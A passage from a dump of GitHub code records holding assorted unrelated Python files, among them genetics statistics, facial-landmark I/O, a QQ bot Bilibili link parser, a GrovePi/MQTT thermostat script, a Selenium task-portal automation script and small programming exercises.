pi_per_contig_df.merge(per_contig_N_sites, on=['contig', 'sample_id'], how='left').rename(columns={0: 'N_sites'})\n pi_per_contig_df = pi_per_contig_df.merge(per_contig_S_sites, on=['contig', 'sample_id'], how='left').rename(columns={0: 'S_sites'})\n\n pi_per_contig_df.to_csv(output_file_prefix + f'_{contig}_summary_statistics.csv.gz', compression='gzip')\n if not return_results:\n del pi_per_contig_df\n else:\n contig_dfs = contig_dfs.append(pi_per_contig_df)\n\n # Finally, return results or filenames of results\n if return_results:\n return pi_per_sample_df, contig_dfs, pi_per_gene_df\n else:\n return None\n\n\ndef main(args=None):\n \"\"\"\n Main function called during command line use of PiMaker. Obtains command\n line arguments, and runs :func:makepi. \n \"\"\"\n print('Welcome to PiMaker!')\n parser = args.get_parser()\n arg_name_dict = {'vcf': 'vcf_file', 'gtf': 'gtf_file', 'threads': 'num_processes', 'output': 'output_file_prefix'}\n if len(sys.argv[1:]) == 0:\n parser.print_help()\n parser.exit()\n else:\n args = parser.parse_args()\n args = vars(args)\n args = {arg_name_dict.get(k, k): v for k, v in args.items()}\n print (args)\n print ('\\n')\n start = timer()\n with open('log.txt', 'a') as f:\n f.write(f'{start}\\n')\n make_pi(**args)\n stop = timer()\n\n print(stop - start)\n with open('log.txt', 'a') as f:\n f.write(f'{stop}\\n')\n f.write(f'{stop - start}\\n')\n return None\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"JosephLalli/PiMaker","sub_path":"pimaker/pimaker.py","file_name":"pimaker.py","file_ext":"py","file_size_in_byte":13442,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"27299687490","text":"#!/usr/bin/python3\n\"\"\"Send POST request with letter as parameter\"\"\"\n\nimport requests\nimport sys\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) > 1:\n param = {'q': sys.argv[1]}\n else:\n param = {'q': ''}\n\n r = requests.post('http://0.0.0.0:5000/search_user', data=param)\n try:\n if not r.json():\n print(\"No result\")\n else:\n uid = r.json().get('id')\n name = r.json().get('name')\n print(\"[{}] {}\".format(uid, name))\n except ValueError:\n print(\"Not a valid JSON\")\n","repo_name":"Orumgbe/alx-higher_level_programming","sub_path":"0x11-python-network_1/8-json_api.py","file_name":"8-json_api.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72895457192","text":"\"\"\"This module aims to read/write files related to the fee module.\nThis module helps generating the landmark points or features json files.\n\"\"\"\nimport json\nimport fee.landmarks\nimport cv2\nimport numpy as np\nimport os\nimport glob\nfrom fee.classification import Expression as Exp\nfrom fee.data import FlandmarksDataStorage\nfrom fee.data import FlandmarksData\nfrom fee.landmarks import FLandmarks\nfrom fee.utils import print_processing\n\n\ndef get_picture_landmarks(filepath, predictor, logs=True):\n \"\"\"\n Do the doc!\n \"\"\"\n if logs:\n print(\"Processing file: {}\".format(filepath))\n frame = cv2.imread(filepath)\n lm = FLandmarks()\n lm.extract_points(frame, predictor)\n return lm\n if logs:\n print('\\n')\n\n\ndef get_video_landmarks(filepath, predictor, logs=True):\n \"\"\"\n Generator that return a tuple of the id and the landmarks of a frame.\n\n Return :\n - The frame id is basically the index of the frame in the whole video.\n - The frame landmarks is a FLandmarks (see fee.landmarks) filled with the\n frame.\n\n Parameters :\n - filepath, the video file path. Required.\n - predictor, the dlib predictor object. Required.\n - logs, True for printing the parsing progress. False otherwise.\n\n Examples :\n\n import dlib\n from fee.io import get_video_landmarks\n\n # Print the bounds of the first face found in each frame of the video.\n path = './video.mp4'\n predictor = dlib.shape_predictor('./fee/sp68fl.dat')\n for id, landmarks in get_video_landmarks(path, predictor):\n print(lm.get_bounds())\n \"\"\"\n if logs:\n print(\"Processing file: {}\".format(filepath))\n # Open video file\n cap = cv2.VideoCapture(filepath, cv2.CAP_FFMPEG)\n frame_count = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))\n frame_id = 0\n # Loop for each frame of the video.\n while(cap.isOpened()):\n if logs:\n print_processing(float(frame_id/frame_count))\n ret, frame = cap.read()\n if ret:\n lm = FLandmarks()\n lm.extract_points(frame, predictor)\n yield (frame_id, lm)\n else:\n cap.release()\n frame_id += 1\n if logs:\n print('\\n')\n\n\ndef open_landmarks_files(folderpath, extension='csv', reading_mode='r'):\n \"\"\"Write some doc.\"\"\"\n type = '*.'+extension\n for id, f in enumerate(glob.glob(os.path.join(folderpath, type))):\n yield open(f, reading_mode)\n\n\ndef read_landmarks_file(file, is_video=True, ignore_first_line=True):\n \"\"\"Write some doc.\"\"\"\n if ignore_first_line:\n line = file.readline()\n line = file.readline()\n while line != \"\":\n pos = 0\n line = line.split(',')\n # The source file path\n filepath = line[pos]\n pos += 1\n # The expressions\n expressions = line[pos].split(' ')\n pos += 1\n # The frame id\n if is_video:\n frame_id = int(line[pos])\n pos += 1\n # The bounds of the landmark points.\n # If there are no bounds, it means dlib haven't found any landmarks,\n # so we return None. Otherwise, we keep parsing.\n bounds = None\n points = None\n if line[pos] != '':\n bounds = [int(i) for i in line[pos].split(' ')]\n bounds = {'left' : bounds[0],\n 'top' : bounds[1],\n 'width' : bounds[2],\n 'height': bounds[3]}\n pos += 1\n # The landmark points\n points = [int(i) for i in line[pos].split(' ')]\n line = file.readline()\n if is_video:\n yield (filepath, frame_id, expressions, bounds, points)\n else:\n yield (filepath, expressions, bounds, points)\n return None\n\n\n\n\n\ndef print_csv_line(file, elems):\n \"\"\"\n Write a line in a csv file.\n\n Parameters :\n - file, the output file. Required.\n - elems, a list of tuples category & content. The following category can\n be writen on the output file :\n - 'source_file' : the path of the source file.\n - 'expression' : A single fee.classification.Expression\n - 'expressions' : A list of fee.classification.Expression\n - 'frame_id' : An integer\n - 'flandmarks_bounds' : The bounds of a fee.landmarks.FLandmarks\n - 'flandmarks_points' : The points of a fee.landmarks.FLandmarks\n\n Example :\n\n import cv2\n import dlib\n from fee.classification import Expression as Exp\n from fee.landmarks import FLandmarks\n from fee.io import print_csv_line\n\n # Get the landmark points from a picture\n path = './my_frame.jpeg'\n image = cv2.imread(path)\n predictor = dlib.shape_predictor('./fee/sp68fl.dat')\n lm = FLandmarks()\n lm.extract_points(image, predictor)\n\n # Print the landmarks in a csv file\n output_file = open('./output.csv', 'w')\n output_file.write('file,expressions,bounds,points')\n print_csv_line(output_file,\n [('source_file' , path ),\n ('expressions' , [Exp.FEAR, Exp.ANGER]),\n ('flandmarks_bounds', lm.get_bounds() ),\n ('flandmarks_points', lm.get_all_points() )])\n \"\"\"\n s = \"\"\n for i, tuple in enumerate(elems):\n arg, elem = tuple\n if arg == \"source_file\":\n s += elem\n elif arg == \"expression\":\n s += elem.to_str()\n elif arg == \"expressions\":\n s += (' ').join(e.to_str() for e in elem)\n elif arg == \"frame_id\":\n s += str(elem)\n elif arg == \"flandmarks_bounds\":\n bounds = elem\n if bounds is not None:\n s += str(bounds[\"left\"])+\" \"+str(bounds[\"top\"])+\" \"\n s += str(bounds[\"width\"])+\" \"+str(bounds[\"height\"])\n elif arg == \"flandmarks_points\":\n s += (' ').join(str(e) for e in elem)\n else:\n print(\"Error: arg \"+arg+\" unknown in fee.io.print_csv_line.\")\n exit()\n if i < len(elems) - 1:\n s += ','\n file.write(s+'\\n')\n\n# File creation ##############################################################\n# ############################################################################\n\n\ndef create_dataset_json(filepath, dataset):\n \"\"\"Create a json file with the dataset.\n\n Param: filepath, string. Path of the file to write.\n Param: dataset, json object. The dataset to write.\n \"\"\"\n file = open(filepath, 'w')\n file.write(json.dumps(dataset))\n file.close()\n\n\n# Read JSON Dataset Files ####################################################\n# ############################################################################\n\ndef get_dataset_from_multiple_json(folder_path):\n datas = FlandmarksDataStorage()\n for id, f in enumerate(glob.glob(os.path.join(folder_path, \"*.json\"))):\n # Open the data file\n src = json.load(open(f, 'r'))[\"datas\"]\n for j, src_elem in enumerate(src):\n data = FlandmarksData(src_elem[\"file\"],\n Exp.from_str(src_elem[\"oclass\"]))\n # Save the n frames points\n for pos in range(0, len(src_elem[\"values\"])):\n if src_elem[\"values\"][pos] is not None:\n fl = FLandmarks()\n fl.set_points(src_elem[\"values\"][pos][\"points\"])\n data.add_flandmarks(fl)\n else:\n data.add_flandmarks(None)\n datas.add_element(data)\n return datas\n\ndef get_dataset_from_csv(csv_path):\n datas = FlandmarksDataStorage()\n file = open(csv_path)\n # the first line are title, just ignore\n file.readline()\n # Job starts here\n line = file.readline()\n EXPRESSIONS = [Exp.NEUTRAL, Exp.HAPPINESS, Exp.SURPRISE,\n Exp.SADNESS, Exp.ANGER, Exp.DISGUST,\n Exp.FEAR, Exp.CONTEMPT]\n while line != \"\":\n exp = line.split(',')[0].replace('\\n','')\n exp = EXPRESSIONS[int(exp)]\n # CONTINUER ICI, LA J'AI TROP LA FLEMME\n cat = line.split(',')[2].replace('\\n','')\n points = line.split(',')[1].split(' ')\n points = np.asarray(points)\n points = points.astype('uint8')\n data = FlandmarksData(\"no file\", exp)\n # Save the n frames points\n fl = FLandmarks()\n fl.set_points(points)\n data.add_flandmarks(fl)\n datas.add_element(data)\n line = file.readline()\n return datas\n\ndef get_dataset_from_json(filepath):\n \"\"\"Create a json file with the dataset.\n\n Param: filepath, string. Path of the file to write.\n \"\"\"\n file = open(filepath, 'r')\n return json.loads(file.read())\n\n# JSON Structs ###############################################################\n# ############################################################################\n\n\ndef features_json(name, infos=\"\"):\n \"\"\"Return a json object for the features saving.\n\n Param: name, string. Name of the dataset.\n Param: infos, string. Some information on the set.\n \"\"\"\n return {\n \"name\": name,\n \"type\": \"FEATURES\",\n \"infos\": infos,\n \"datas\": []\n }\n\n\ndef landmarks_json(name, infos=\"\", normalized=\"NOT\"):\n \"\"\"Return a json object for the landmarks saving.\n\n Param: name, string. Name of the dataset.\n Param: infos, string. Some information on the set.\n Param: normalized, string. Tell If the points were normalized & which way.\n \"\"\"\n return {\n \"name\": name,\n \"type\": \"LANDMARKS\",\n \"infos\": infos,\n \"datas\": [],\n \"normalized\": normalized\n }\n\n\ndef get_landmark_points_json(shapes, cat, normalized=\"False\"):\n \"\"\"Return a list of json struct with the points informations.\n\n The returned list contains some objects containing an array for the landmark\n points coordinates and the boundaries of the points.\n\n Param: shapes, list. List of extracted shapes (see dlib).\n Param: cat, landmarks.Cat. The landmarks points category.\n Param: normalized, boolean. True if the data must be normalized.\n False otherwize.\n \"\"\"\n values = []\n # Retrieve the points wanted.\n for ids, shape in enumerate(shapes):\n if shape is not None:\n values.append({\n \"points\": fee.landmarks.get_points(shape, cat),\n \"bounds\": fee.landmarks.get_bounds(shape, cat)\n })\n else:\n values.append(None)\n return values\n\n# Video extractions ##########################################################\n# ############################################################################\n\ndef get_n_equidistant_frames(filepath, frames_count, logs=True):\n \"\"\"Return an array of n frame from a video.\"\"\"\n if logs:\n print(\"Processing file: {}\".format(filepath))\n # Open the video\n cap = cv2.VideoCapture(filepath)\n # get total number of frames\n totalFrames = cap.get(cv2.CAP_PROP_FRAME_COUNT)\n # check for valid frame number\n if frames_count < 0 or frames_count > totalFrames:\n return None\n # Get the frames indexes\n indexes = np.linspace(0,\n totalFrames,\n num=frames_count,\n dtype=\"int32\").tolist()\n frames = []\n index = indexes.pop(0)\n # Loop over the frames\n i = 0\n while i < totalFrames:\n ret, frame = cap.read()\n if i == index:\n frames.append(frame)\n if len(indexes) == 0:\n break\n else:\n index = indexes.pop(0)\n i += 1\n cap.release()\n return frames\n\n\ndef get_landmarks_shapes_from_video(filepath, predictor, logs=True):\n \"\"\"Return an array of landmarks shapes (see dlib) from a video.\"\"\"\n if logs:\n print(\"Processing file: {}\".format(filepath))\n cap = cv2.VideoCapture(filepath, cv2.CAP_FFMPEG)\n # Array for the features.\n shapes = []\n # Loop for each frame of the video.\n while(cap.isOpened()):\n if logs:\n print('.', sep='', end='', flush=True)\n ret, frame = cap.read()\n if ret:\n # Get the shapes from the frame & append the first one.\n # This would need to be refactored for multiple faces detection.\n shape = fee.landmarks.get_landmark_points(frame, predictor)\n if len(shape) > 0:\n shapes.append(shape[0])\n else:\n shapes.append(None)\n else:\n cap.release()\n if logs:\n print('\\n')\n return shapes\n","repo_name":"Yepikae/fee","sub_path":"Lib/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":12697,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"72177007593","text":"import copy\r\n\r\ndef boom(n, w, h, board, destroy):\r\n while len(destroy) != 0:\r\n x, y, num = destroy[0][0], destroy[0][1], destroy[0][2]\r\n board[y][x] = 0\r\n for i in range(1, num):\r\n if x+i < w:\r\n if board[y][x+i] != 0:\r\n destroy.append([x+i, y, board[y][x+i]])\r\n else:\r\n break\r\n for i in range(1, num):\r\n if x-i >= 0:\r\n if board[y][x-i] != 0:\r\n destroy.append([x-i, y, board[y][x-i]])\r\n else:\r\n break\r\n for i in range(1, num):\r\n if y+i < h:\r\n if board[y+i][x] != 0:\r\n destroy.append([x, y+i, board[y+i][x]])\r\n else:\r\n break\r\n for i in range(1, num):\r\n if y-i >= 0:\r\n if board[y-i][x] != 0 :\r\n destroy.append([x, y-i, board[y-i][x]])\r\n else:\r\n break\r\n del destroy[0]\r\n for i in range(h-1, -1, -1):\r\n for j in range(w):\r\n if board[i][j] != 0:\r\n for k in range(i+1, h):\r\n if board[k][j] == 0:\r\n board[k][j] = board[k-1][j]\r\n board[k-1][j] = 0\r\n else:\r\n break\r\n\r\ndef solve(n, w, h, board, answer):\r\n if n == 0:\r\n tmp = 0\r\n for i in range(h):\r\n for j in range(w):\r\n if board[i][j] != 0:\r\n tmp += 1\r\n answer.append(tmp)\r\n return\r\n for i in range(w):\r\n save = copy.deepcopy(board)\r\n destroy = []\r\n for j in range(h):\r\n if board[j][i] != 0:\r\n destroy.append([i, j, board[j][i]])\r\n break\r\n if len(destroy) != 0:\r\n boom(n, w, h, board, destroy)\r\n solve(n-1, w, h, board, answer)\r\n board = copy.deepcopy(save)\r\n\r\nfor t in range(int(input())):\r\n n, w, h = map(int, input().split())\r\n board = [list(map(int, input().split())) for _ in range(h)]\r\n answer = []\r\n solve(n, w, h, board, answer)\r\n answer.sort()\r\n print('#' + str(t+1), str(answer[0]))","repo_name":"khw5123/Algorithm","sub_path":"SWExpert/5656. [모의 SW 역량테스트] 벽돌 깨기.py","file_name":"5656. [모의 SW 역량테스트] 벽돌 깨기.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39176562035","text":"from rest_framework.routers import DefaultRouter\nfrom django.urls import path, include\nfrom user import views\n\nrouter = DefaultRouter()\nrouter.register(\"users/lastplayed\", views.UserPlaySessionViewSet)\nrouter.register(\"users\", views.UserViewSet)\n\napp_name = \"user\"\n\nurlpatterns = [\n path('', include(router.urls)),\n path('token/', views.CreateTokenView.as_view(), name='token')\n]\n","repo_name":"bruno5barros/GameAPI","sub_path":"app/user/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27946306905","text":"import re\nfrom nonebot.adapters.onebot.v11 import Message\nfrom nonebot.adapters.onebot.v11.permission import GROUP\nfrom nonebot import on_regex, logger\nfrom nonebot.adapters import Event\nfrom manager import Config\nfrom services.log import logger\nfrom .analysis_bilibili import b23_extract, bili_keyword\n\n__plugin_name__ = \"b站转发解析 [Hidden]\"\n__plugin_task__ = {\"bilibili_parse\": \"b站转发解析\"}\n\n\nConfig.add_plugin_config(\n \"_task\",\n \"DEFAULT_BILIBILI_PARSE\",\n True,\n help_=\"被动 b站转发解析 进群默认开关状态\",\n default_value=True,\n)\nConfig.add_plugin_config(\n \"bili_parse\",\n \"ANALYSIS_BLACKLIST\",\n [\"3200971578\"],\n help_=\"b站解析黑名单qq\",\n default_value=[\"3200971578\"],\n)\n\nblacklist = Config.get_config(\"bili_parse\", \"analysis_blacklist\", [])\n\nanalysis_bili = on_regex(\n r\"(b23.tv)|(bili(22|23|33|2233).cn)|(.bilibili.com)|(^(av|cv)(\\d+))|(^BV([a-zA-Z0-9]{10})+)|\"\n r\"(\\[\\[QQ小程序\\]哔哩哔哩\\])|(QQ小程序&#93;哔哩哔哩)|(QQ小程序]哔哩哔哩)\",\n flags=re.I,\n priority=1,\n permission=GROUP,\n block=False\n)\n\n\n@analysis_bili.handle()\nasync def analysis_main(event: Event) -> None:\n global blacklist\n text = str(event.get_message()).strip()\n if blacklist and event.get_user_id() in blacklist:\n logger.warning(f\"User {event.get_user_id()} 处于黑名单,取消b站转发解析!\")\n return\n if re.search(r\"(b23.tv)|(bili(22|23|33|2233).cn)\", text, re.I):\n # 提前处理短链接,避免解析到其他的\n text = await b23_extract(text)\n if hasattr(event, \"group_id\"):\n group_id = event.group_id\n elif hasattr(event, \"channel_id\"):\n group_id = event.channel_id\n else:\n group_id = None\n msg = await bili_keyword(group_id, text)\n if msg:\n await analysis_bili.finish(\"[[_task|bilibili_parse]]\"+Message(msg))\n","repo_name":"cYanosora/kndbot","sub_path":"plugins/parse_bilibili_json/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"72"} +{"seq_id":"9039779096","text":"\"\"\"\nTESTING FILE:\nHumidity Level for Emergency Alert changed to > 80%\n\"\"\"\nimport grovepi\nimport time\nfrom datetime import datetime, timedelta\nfrom grove_rgb_lcd import *\nimport paho.mqtt.client as mqtt\n\nth_sensor_port = 7\nrotary_angle_sensor_port = 0\nrelay_port = 3\nbuzzer_port = 2\nlcd_port = 1\n\nsetRGB(0, 128, 64)\n\ngrovepi.pinMode(th_sensor_port, \"INPUT\")\ngrovepi.pinMode(rotary_angle_sensor_port, \"INPUT\")\ngrovepi.pinMode(relay_port, \"OUTPUT\")\ngrovepi.pinMode(buzzer_port, \"OUTPUT\")\n\ntemperature = 0\nhumidity = 0\nHVAC_on = False\n\ndef on_connect(client, userdata, flags, rc):\n print(\"Connected to server with result code \"+str(rc))\n\nif __name__ == '__main__':\n client = mqtt.Client()\n client.on_connect = on_connect\n client.connect(host=\"172.20.10.4\", port=1883, keepalive=60)\n client.loop_start()\n time.sleep(1)\n\n next_publish_time = datetime.now() + timedelta(seconds=5)\n\n while True:\n [temperature, humidity] = grovepi.dht(th_sensor_port, 0)\n temperature = (temperature * 1.8) + 32\n\n dial = grovepi.analogRead(rotary_angle_sensor_port)\n temp_range = (dial * 50) / 1023 + 40\n\n now = datetime.now()\n dateinfo = now.strftime(\"%m/%d/%Y\")\n timeinfo = now.strftime(\"%H:%M:%S\")\n dateandtime = f\"{dateinfo} {timeinfo}\"\n\n if temperature > temp_range:\n grovepi.digitalWrite(relay_port, 1)\n HVAC_on = True\n else:\n grovepi.digitalWrite(relay_port, 0)\n HVAC_on = False\n\n emer_str = \"HIGH HUMIDITY (POSSIBLE FIRE)\"\n if humidity > 80:\n grovepi.digitalWrite(buzzer_port, 1)\n client.publish(\"imagalla/emergencyalert\", \"{}\".format(emer_str))\n setRGB(200,0,0)\n else:\n grovepi.digitalWrite(buzzer_port, 0)\n setRGB(0, 128, 64)\n \n HVAConoff = \"\"\n if HVAC_on == True:\n setText_norefresh(\"DT:{0:.0f}F AC ON \\nT:{1:.0f}F H:{2:.0f}%\".format(temp_range, temperature, humidity))\n HVAConoff = \"ON\"\n else:\n setText_norefresh(\"DT:{0:.0f}F AC OFF\\nT:{1:.0f}F H:{2:.0f}%\".format(temp_range, temperature, humidity)) \n HVAConoff = \"OFF\"\n\n if now >= next_publish_time:\n client.publish(\"imagalla/datetime\", \"{}\".format(dateandtime))\n print(\"Publishing datetime data\")\n client.publish(\"imagalla/temp\", \"{}\".format(temperature))\n print(\"Publishing temperature data\")\n client.publish(\"imagalla/humid\", \"{}\".format(humidity))\n print(\"Publishing humidity data\")\n client.publish(\"imagalla/HVAC\", \"{}\".format(HVAConoff))\n print(\"Publishing HVAC data\")\n next_publish_time = now + timedelta(seconds=5)","repo_name":"imagallanes24/EE250-Project","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72995968873","text":"from selenium import webdriver\nimport time\nfrom random import choice\n\nrandomlist = [0] * 35 + [1] * 3 + [2] * 2\n\noptions = webdriver.ChromeOptions()\nprefs = {\"download.default_directory\": \"C:\\\\Users\\\\cheng.lu\\\\Desktop\\\\yq_mid\\\\\"}\noptions.add_experimental_option(\"prefs\", prefs)\n\n\nclass driver2():\n\n def __init__(self):\n self.download_path = \"C:\\\\Users\\\\cheng.lu\\\\Desktop\\\\yq_mid\\\\\"\n # 使用driver2进行下载的压缩包,会进入这个文件夹\n self.upload_path = \"C:\\\\Users\\\\cheng.lu\\\\Desktop\\\\yq_res\\\\\"\n # yq_task 处理完压缩文件以后的结果文件夹\n self.driver = webdriver.Chrome(options=options)\n self.zhanghao = 'driver2@connext.com.cn'\n self.mima = 'driver22'\n\n def login(self):\n self.driver.set_window_size(1600, 850)\n self.driver.get('http://47.103.81.169/Admin')\n\n self.driver.find_element_by_xpath(\n '//input[@name=\"username\"]').send_keys(self.zhanghao) # 输入账号\n self.driver.find_element_by_xpath(\n '//input[@name=\"password\"]').send_keys(self.mima) # 输入密码\n self.driver.find_element_by_xpath(\n '//div[@class=\"geetest_radar_tip\"]').click() # 点击自动验证\n self.driver.find_element_by_xpath(\n '//button[@class=\"layui-btn btn-submit\"]').click() # 点击登录\n time.sleep(5)\n\n def get_yuqingWindow(self):\n # 进入语义分析的模块\n self.driver.find_element_by_xpath('//a[@data-id=\"187\"]').click()\n time.sleep(1)\n self.driver.find_element_by_xpath('//a[@data-id=\"189\"]').click()\n time.sleep(1)\n\n # 第一层iframe\n xf = self.driver.find_element_by_xpath(\n '//iframe[@onload=\"layui.layer.close(1)\"]')\n self.driver.switch_to.frame(xf)\n\n def get_yuqingTask(self, num=0):\n # 选择运行中\n self.driver.find_element_by_xpath('//input[@type=\"text\"]').click()\n time.sleep(1)\n self.driver.find_element_by_xpath('//dd[@lay-value=\"0\"]').click()\n time.sleep(1)\n self.driver.find_element_by_xpath('//span[@id=\"search\"]').click()\n time.sleep(2)\n\n # 获取Number\n filepath = '//tr[@data-index=\"%s\"]//div[contains(@class,\"layui-table-cell\")]' % num\n self.taskNo = self.driver.find_element_by_xpath(filepath).text\n # 下载\n download_path = '//tr[@data-index=\"%s\"]//a[@lay-event=\"download_file\"]' % num\n self.driver.find_element_by_xpath(download_path).click()\n time.sleep(2)\n\n def upload_yuqingTask(self, result_fileName):\n # 上传 点击上传的按钮 进入第二层iframe的前台\n uploadpath = '//div[text()=\"%s\" ]/ancestor::tr//a[@lay-event=\"upload\"]' % self.taskNo\n self.driver.find_element_by_xpath(uploadpath).click()\n\n #------------→→→→ 进入第二层iframe\n xf1 = self.driver.find_element_by_xpath('//iframe[@scrolling=\"auto\"]')\n self.driver.switch_to.frame(xf1)\n\n time.sleep(2)\n self.driver.find_element_by_xpath(\n '//input[@type=\"file\"]').send_keys(self.upload_path + result_fileName + '【分析结果】.xlsx')\n # 点击上传按钮\n time.sleep(3)\n self.driver.find_element_by_xpath('//button[@id=\"upload\"]').click()\n\n # 跳出第二层iframe,回到第一层iframe ←←←--------\n self.driver.switch_to.parent_frame()\n\n def tiaochu_iframe(self):\n self.driver.switch_to.parent_frame()\n\n def close_driver(self):\n self.driver.close()\n\nif __name__ == '__main__':\n from con_yuqing import *\n lc = driver2()\n lc.login()\n\n while True:\n try:\n lc.get_yuqingWindow()\n\n iii = choice(randomlist)\n print('----------------%s' % iii)\n\n lc.get_yuqingTask(iii)\n time.sleep(2)\n\n try:\n nam1 = yq_task()\n lc.upload_yuqingTask(nam1)\n except:\n lc.upload_yuqingTask('错误提示') \n\n \n except Exception as e:\n time.sleep(10)\n print(e)\n try:\n clean_all()\n lc.tiaochu_iframe()\n except:\n pass\n","repo_name":"Ausar0109/yqxgp","sub_path":"driver2.py","file_name":"driver2.py","file_ext":"py","file_size_in_byte":4230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2085591276","text":"\"\"\"\r\n CSC101 - Programming Assignment 1\r\n 7.4 - The Fan class\r\n Sean X.\r\n Nov. 2nd, 2021\r\n\r\n Summary\r\n This program creates a Fan class that represents a fan. It then tests the Fan class by creating two fans and turning one on, the other off. After, it prints out the information of the fans.\r\n\"\"\"\r\n\r\n\r\nclass Fan:\r\n \"\"\"A class that represents a fan\"\"\"\r\n\r\n SLOW: int = 1\r\n MEDIUM: int = 2\r\n FAST: int = 3\r\n\r\n def __init__(\r\n self,\r\n speed: int = SLOW,\r\n radius: float = 5.0,\r\n color: str = \"blue\",\r\n on: bool = False,\r\n ) -> None:\r\n \"\"\"Constructor, set properties according to passed arguments\"\"\"\r\n self.__speed: int = speed\r\n self.__radius: float = radius\r\n self.__color: str = color\r\n self.__on: bool = on\r\n\r\n @property\r\n def speed(self) -> int:\r\n \"\"\"Get the speed\"\"\"\r\n return self.__speed\r\n\r\n @speed.setter\r\n def speed(self, speed: int) -> None:\r\n \"\"\"Set the speed\"\"\"\r\n if speed in (self.SLOW, self.MEDIUM, self.FAST):\r\n self.__speed = speed\r\n else:\r\n raise ValueError(\"Invalid speed\")\r\n\r\n @property\r\n def on(self) -> int:\r\n \"\"\"Get the on state\"\"\"\r\n return self.__on\r\n\r\n @on.setter\r\n def on(self, on: bool) -> None:\r\n \"\"\"Set the on state\"\"\"\r\n if type(on) != bool:\r\n raise ValueError(\"Invalid on state\")\r\n else:\r\n self.__on = on\r\n\r\n @property\r\n def radius(self) -> float:\r\n \"\"\"Get the radius\"\"\"\r\n return self.__radius\r\n\r\n @radius.setter\r\n def radius(self, radius: float) -> None:\r\n \"\"\"Set the radius\"\"\"\r\n if type(radius) != float:\r\n raise ValueError(\"Invalid radius\")\r\n else:\r\n self.__radius = radius\r\n\r\n @property\r\n def color(self) -> str:\r\n \"\"\"Get the color\"\"\"\r\n return self.__color\r\n\r\n @color.setter\r\n def color(self, color: str) -> None:\r\n \"\"\"Set the color\"\"\"\r\n if type(color) != str:\r\n raise ValueError(\"Invalid color\")\r\n else:\r\n self.__color = color\r\n\r\n\r\nfan1: Fan = Fan(speed=Fan.FAST, radius=10, color=\"yellow\")\r\nfan1.on = True\r\n\r\nfan2: Fan = Fan(speed=Fan.MEDIUM, radius=5)\r\nfan2.on = False\r\n\r\nfor fanProperty in (\"speed\", \"radius\", \"color\", \"on\"):\r\n fanPropertyName = fanProperty if fanProperty != \"on\" else \"on state\"\r\n print(f\"Fan1's {fanPropertyName} is {getattr(fan1, fanProperty)}\")\r\n print(f\"Fan2's {fanPropertyName} is {getattr(fan2, fanProperty)}\")\r\n","repo_name":"sean-7777/CS102","sub_path":"Week2/Discussion.py","file_name":"Discussion.py","file_ext":"py","file_size_in_byte":2550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"11466035353","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jul 25 17:56:37 2019\n\n@author: ayush\n\"\"\"\n\ndef un_sequential(arr,ele):\n pos=0\n found=False\n while posele:\n end=True\n else:\n pos+=1\n return found\n\n\ndef binary(arr,ele):\n first=0\n last=len(arr)-1\n found=False\n while first <= last and not found:\n mid=(first+last)//2\n if arr[mid]==ele:\n found=True\n #for left half part\n else:\n if arr[mid] None:\n for name, subplot in self.state.subplots.items():\n if name not in self.state.data:\n continue\n data = self.state.data[name]\n try:\n subplot.clear()\n subplot.setData(x=data[0], y=data[1])\n except RuntimeError:\n if sip.isdeleted(subplot):\n return\n else:\n raise\n\n @lg.subscriber(INPUT)\n def got_message(self, message: lg.Message) -> None:\n if self.state.plot is not None:\n for name in self.config.styles:\n values = getattr(message, name)\n self.state.data[name] = (\n values[self.config.x_field],\n values[self.config.y_field],\n )\n\n def _add_subplot(self, name: str, style: ScatterPlotStyle) -> None:\n style_dict = asdict(style)\n if style_dict[\"name\"] is None:\n style_dict[\"name\"] = name\n self.state.subplots[name] = self.state.plot.plot(**style_dict)\n self.state.subplots[name].setAlpha(self.config.alpha, False)\n\n def build(self) -> Any:\n self.state.data = {}\n self.state.subplots = {}\n self.state.plot = pg.PlotItem()\n self.state.plot.addLegend(offset=(10, -10))\n if self.config.y_log_mode:\n self.state.plot.setLogMode(y=True)\n if isinstance(self.config.y_range, AutoRange):\n self.state.plot.enableAutoRange(axis=\"y\")\n else:\n self.state.plot.setYRange(*self.config.y_range)\n for position, label in self.config.labels.items():\n self.state.plot.setLabel(position, label)\n for name, style in self.config.styles.items():\n self._add_subplot(name, style)\n self.state.timer = QtCore.QTimer()\n self.state.timer.setInterval(TIMER_INTERVAL)\n self.state.timer.timeout.connect(self.update)\n self.state.timer.start()\n\n return self.state.plot\n\n def stop(self) -> None:\n self.state.timer.stop()\n","repo_name":"facebookresearch/labgraph","sub_path":"extensions/labgraph_viz/labgraph_viz/plots/scatter_plot.py","file_name":"scatter_plot.py","file_ext":"py","file_size_in_byte":3183,"program_lang":"python","lang":"en","doc_type":"code","stars":150,"dataset":"github-code","pt":"72"} +{"seq_id":"8383489040","text":"from flask import Flask\nfrom web_gui.secret import Secret\nfrom waitress import serve\nfrom datetime import datetime\n\nsite = Flask(__name__)\nsite.config.from_object(Secret)\n\n\n# function to convert military time format to standard AM PM time.\ndef format_datetime(value):\n if value is not None:\n value = str(value)\n time_format = '%I:%M:%S %p'\n convert_time = datetime.strptime(value, 